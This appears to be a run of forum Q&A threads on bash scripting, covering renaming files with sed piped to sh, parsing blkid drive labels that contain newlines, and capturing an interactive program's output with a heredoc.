here's a way: echo dictionaries/dictionaries/da_DK/index.aff | sed 's:.*\([^/]\+\)/index\(\..*\):\1\2:' output: da_DK.aff however, there's a faster way than a for loop: find dictionaries/dictionaries -name "index.dic" -or -name "index.aff" | sed 's:dictionaries/dictionaries/\([^/]\+\)/index\(\..*\):mv & myDicts/\1\2:' if that produces the commands you want, pipe it to sh: mkdir myDicts find dictionaries/dictionaries -name "index.dic" -or -name "index.aff" | sed 's:dictionaries/dictionaries/\([^/]\+\)/index\(\..*\):mv & myDicts/\1\2:' | sh
BASH/shell script, blkid fails with newlines in drive labels
I have a BASH/shell script, running on Linux, but it sometimes has a problem getting the drive labels, using blkid.. blkid gets the drive labels nad UUIDs of the given drive.
Example of blkid output:
# blkid /dev/sda1
/dev/sda1: LABEL="Home" UUID="f1e5e82b-1c75-4fd7-8841-6ad766152dcf" TYPE="ext2"
The problem occurs when the drive label has a newline character... I have included the relevant function. The problem seems to be with the eval command.. Can someone help me?
blkid_name_generator() {
#Gather blkid output and filter out required device
if [ ! -f /tmp/blkid.txt ]; then
blkid -c /dev/null > /tmp/blkid.txt
fi
blkid_cleaner &
LABEL=""
LABEL1=""
eval $( cat /tmp/blkid.txt | grep "$#:" | cut --delimiter=" " -f 2- | sed -e 's/ /;/g')
LABEL1=${LABEL//;/ } # akita beta4 fix: remove newlines below
LABEL=`echo $LABEL1 | tr -d '\n'` # akita beta5 fix, remove newlines from drive label
#Generate drive label
[ "$LABEL" = "" ] && ONEDRVLABEL="$#\n \n " || ONEDRVLABEL="${LABEL}\n($#)\n "
echo "${LABEL}" and "${ONEDRVLABEL}"
}
blkid_name_generator /dev/sda1
Here's my bash snippet:
while read curline; do
if [[ ${curline:0:1} == "/" ]]; then
[[ $prevline ]] && echo "$prevline"
prevline="$curline"
else
prevline+="$curline"
fi
done < $INPUTFILE
[[ $prevline ]] && echo "$prevline"
Here's my test file:
/dev/sda1: LABEL="Boot" UUID="fdc5e51d-3da6-4edf-bf07-6397b1765797" TYPE="ext2"
/dev/sda2: LABEL="Root" UUID="f883df24-1b93-46fb-8990-840774c380c4" TYPE="ext4"
/dev/sda3: LABEL="Usr" UUID="ba759de3-e0e4-4603-a324-f11dc25fa784" TYPE="reiserfs"
/dev/sdb1: LABEL="Persis
tents" UUID="50b81ef0-a38b-4677-b9d9-9548b29ce2bb" TYPE="ext4"
/dev/sdc1: LABEL="Tempo
raries" UUID="a649c535-1a8a-4b2b-b0a0-4afbdc60a3bc" TYPE="reiserfs"
/dev/sdd1: LABEL="Usr
Portage" UUID="a228148e-6405-4bbe-990f-df6eaebb1b1d" TYPE="reiserfs"
/dev/sda1: LABEL="Boot" UUID="fdc5e51d-3da6-4edf-bf07-6397b1765797" TYPE="ext2"
/dev/sda2: LABEL="Root" UUID="f883df24-1b93-46fb-8990-840774c380c4" TYPE="ext4"
Here's my test file after processed by the bash snippet:
/dev/sda1: LABEL="Boot" UUID="fdc5e51d-3da6-4edf-bf07-6397b1765797" TYPE="ext2"
/dev/sda2: LABEL="Root" UUID="f883df24-1b93-46fb-8990-840774c380c4" TYPE="ext4"
/dev/sda3: LABEL="Usr" UUID="ba759de3-e0e4-4603-a324-f11dc25fa784" TYPE="reiserfs"
/dev/sdb1: LABEL="Persistents" UUID="50b81ef0-a38b-4677-b9d9-9548b29ce2bb" TYPE="ext4"
/dev/sdc1: LABEL="Temporaries" UUID="a649c535-1a8a-4b2b-b0a0-4afbdc60a3bc" TYPE="reiserfs"
/dev/sdd1: LABEL="UsrPortage" UUID="a228148e-6405-4bbe-990f-df6eaebb1b1d" TYPE="reiserfs"
/dev/sda1: LABEL="Boot" UUID="fdc5e51d-3da6-4edf-bf07-6397b1765797" TYPE="ext2"
/dev/sda2: LABEL="Root" UUID="f883df24-1b93-46fb-8990-840774c380c4" TYPE="ext4"
Hope this helps!
I don't see exactly what your script is intending to do (apart from the missing bits). Here's what I came up with: blkid | perl -ne 'print "$1\n" if m/LABEL="(.*?)"/o' It will show this (on my system): test^J123 WIN7VIRT TEMP Note how the newline in the label is depicted as ^J ? Viewing through a hex encoder shows that it is indeed a two-character combination 0x5e 0x4a Hope you can get some further with that. PS: 'proof' that the newline is in fact correctly in the volume label tune2fs /dev/sdc1 -l tune2fs 1.41.14 (22-Dec-2010) Filesystem volume name: test 123 Last mounted on: /media/9868d90c-aede-4e7a-b105-d9312f8b17ab Filesystem UUID: 9868d90c-aede-4e7a-b105-d9312f8b17ab Filesystem magic number: 0xEF53 Filesystem revision #: 1 (dynamic) ... and on block level: dd if=/dev/sdc1 count=10 | xxd | grep 123 0000470: b105 d931 2f8b 17ab 7465 7374 0a31 3233 ...1/...test.123
Thanks to this question... I could find a solution for another problem. Example (sda2 = ntfs partition): blkid /dev/sda2 Segmentation Fault (core dump) Hard to find troubleshooting guide for this issue (ubuntu based OS or any other) The reason behind is a malformed LABEL in NTFS partition. (of course, mal-formation we cant see, as newlines ;-) Solution: Clear LABEL with GParted; then rewrite it or set a new LABEL.
Putting the output of a command with interaction inside a variable while using grep in bash
This program I use has it's own variables to set when you run it, so I want to set those variables and then greping the output then storing it inside a variable. However, I don't know how to go about this the correct way. The idea I have doesn't work. The focus is on lines 7 through 14. 1 #!/usr/local/bin/bash 2 source /home/gempak/NAWIPS/Gemenviron.profile 3 FILENAME="$(date -u '+%Y%m%d')_sao.gem" 4 SFFILE="$GEMDATA/surface/$FILENAME" 5 echo -n "Enter the station ID: " 6 read -e STATION 7 OUTPUT=$(sflist << EOF 8 SFFILE = $SFFILE 9 AREA = #$STATION 10 DATTIM = all 11 SFPARM = TMPF;DWPF 12 run 13 exit 14 EOF) 15 echo $OUTPUT But I get this: ./listweather: line 7: unexpected EOF while looking for matching `)' ./listweather: line 16: syntax error: unexpected end of file
Putting together everyone's answers, I came across a working solution myself. This code works for me: #!/usr/local/bin/bash source /home/gempak/NAWIPS/Gemenviron.profile FILENAME="$(date -u '+%Y%m%d')_sao.gem" SFFILE="$GEMDATA/surface/$FILENAME" echo -n "Enter the station ID: " read -e STATION OUTPUT=$(sflist << EOF SFFILE = $SFFILE AREA = #$STATION DATTIM = ALL SFPARM = TMPF;DWPF run exit EOF ) echo $OUTPUT | grep $STATION Thanks everyone!
I'd put your program to run in a separate .sh script file, and then run the script from your first file, passing the arguments you want to pass as command line arguments. That way you can test them separately. You could also do it in a function, but I like the modularity of the second script. I don't udnerstand exactly what you are trying to do above, but something like: runsflist.sh: #!/bin/bash FILENAME="$(date -u '+%Y%m%d')_sao.gem" SFFILE="$GEMDATA/surface/$FILENAME" AREA = #$STATION DATTIM = all SFPARM = TMPF;DWPF grep $STATION | sflist main.sh: #!/bin/bash echo -n "Enter the station ID: " read -e STATION OUTPUT=`runsflist.sh` echo $OUTPUT
If sflist needs interaction, I'd try something like this: SFFILE=$( ( echo SFFILE = "$SFFILE" echo AREA = "#$STATION" echo DATTIM = all echo SFPARM = TMPF;DWPF echo run cat ) | sflist) Unfortunately, you have to type exit as part of the interaction.